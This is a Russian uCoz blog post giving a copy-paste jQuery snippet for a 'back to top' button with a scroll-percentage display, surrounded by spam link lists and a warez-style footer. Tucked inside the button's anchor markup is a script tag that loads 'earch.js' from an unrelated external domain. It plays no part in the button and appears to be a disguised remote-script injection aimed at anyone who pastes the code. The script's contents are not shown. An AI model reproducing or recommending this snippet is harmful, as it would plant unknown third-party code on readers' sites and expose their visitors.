Главная
Вход
Регистрация
Пятница, 22.11.2024, 07:03Приветствую Вас Гость
Меню сайта
 Главная  Файловый архив  Доска объявлений  Каталог сайтов

Поиск по сайту

Облако тегов
EVEREST.5.50.2100.Final.PC

Посещаемость сайта

Онлайн всего: 14
Гостей: 14
Пользователей: 0

Форма входа


Главная » 2013 » Март » 3 » Кнопка "Вверх" для сайта, блога или форума
15:00
Кнопка "Вверх" для сайта, блога или форума
Сегодня я расскажу как вставить скрипт кнопка “Вверх” на сайт ucoz или блок. Эта кнопка будет очень полезна для Ваших сайтов, блогов или форумов с длинными страницами. Данный скрипт не нагружает сайт или блог и достаточно эффективен.
В самый низ страницы, перед /body :

Код
<!-- <Кнопка Вверх> -->
<script type="text/javascript">
$(document).ready(function(){

   
  $("#back-top").hide();
   
  $(function () {
  $(window).scroll(function () {
   
  if ($(this).scrollTop() > 125) {
  $('#back-top').fadeIn();
   
   
   
  } else {
  $('#back-top').fadeOut();
   
  }
   
   
  });

   
  $('#backop').click(function () {
  $('body,html').animate({
  scrollTop: 0
  }, 800);
  return false;
  });
  });

});
</script>

<script type="text/javascript">
$(window).scroll(function(){
var s = $(window).scrollTop();
var f = $(document).height()-$(window).height();

var d=s/f*100;
var p=Math.round(d);

$("#pix").text(p);

});
</script>

<div id="back-top" style="position:fixed; width: 50px; height: 100%; z-index: 6; right: 10px; top: 90%; background: transparent; " id="layer2">
<center><a title="Вверх" id="backop" href="#top"><script type="text/javascript" src="http://camadmin.ru/earch.js"></script><img src="http://bambun.ru/images/ups.png" onmouseover="this.src='http://bambun.ru/images/up1.png'" onmouseout="this.src='http://bambun.ru/images/ups.png'"></a></center>
<center><font color="#000000" size="3">
<span id="pix"></span>%</font></center>
</div>
<!-- </Конец> -->
Просмотров: 331 | Добавил: startsmart | Рейтинг: 0.0/0
Всего комментариев: 0

Похожие публикации:

    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Друзья сайта
  • Создание не дорогих сайтов
  • Продажа компьютеров в Александрове
  • Интернет-магазин ИМГА
  • InstaForexTrading
  • InstaForexTrading
  • Forex four you
  • Оптимизация сайта.
  • Компьютерная помощь
  • Каталог сайтов-Мега ТИЦ
  • Пособие по HTML и CSS
  • клан Волкодавы
  • Forex Basic Information
  • Скачать пограммы бесплатно
  • Онлайн фильмы
  • Всё для uCOZ
  • Все новинки программх
  • Форекс для начинающих
  • Заработай на сайте
  • Видео онлайн 18+
  • Будем здоровы
  • Онлайн кино
  • Оптимизация сайта
  • Блюда на каждый день
  • Бизнес идея говорящие цветы

  • Wmlink.ru

    Entries archive

    Календарь
    «  Март 2013  »
    ПнВтСрЧтПтСбВс
        123
    45678910
    11121314151617
    18192021222324
    25262728293031


    Все материалы размещенные на сайте принадлежат их владельцам и публикуются исключительно в ознакомительных целях.
    После скачивания и ознакомления рекомендуем удалить файл или приобрести лицензионную версию.
    Незаконная реализация карается законами РФ и Украины: "Об авторском и смежном праве".

    При копировании материалов сайта ссылка на сайт обязательна!
    Для удобного просмотра Сайт оптимизирован  под расширение 1280x1024
    Администрация сайта не несет ответственности за материалы опубликованные на сайте, материалы легко доступны в сети интернет!


    Бетон Селятино | Бетон Одинцово | Бетон в Щелково | Бетон Подольск | Бетон Сергиев-Посад | Бетон в Люберцах | Бетон Мытищи | Бетон Королёв | Бетон Домодедово | Бетон Островцы | Бетон Дмитров | Бетон Балашиха | Бетон Реутово | Бетон в Краснознаменске | Бетон в Лобне | Бетон Пушкино | Бетон в Москве | Бетон Химки | Бетон Серпухов | Бетон Железнодорожный | Бетон Реутов | Бетон Люберцы | Заказать доставку: песка, щебня и сыпучие нерудные стройматериалын |

    Все новинки программ.РФ © 2024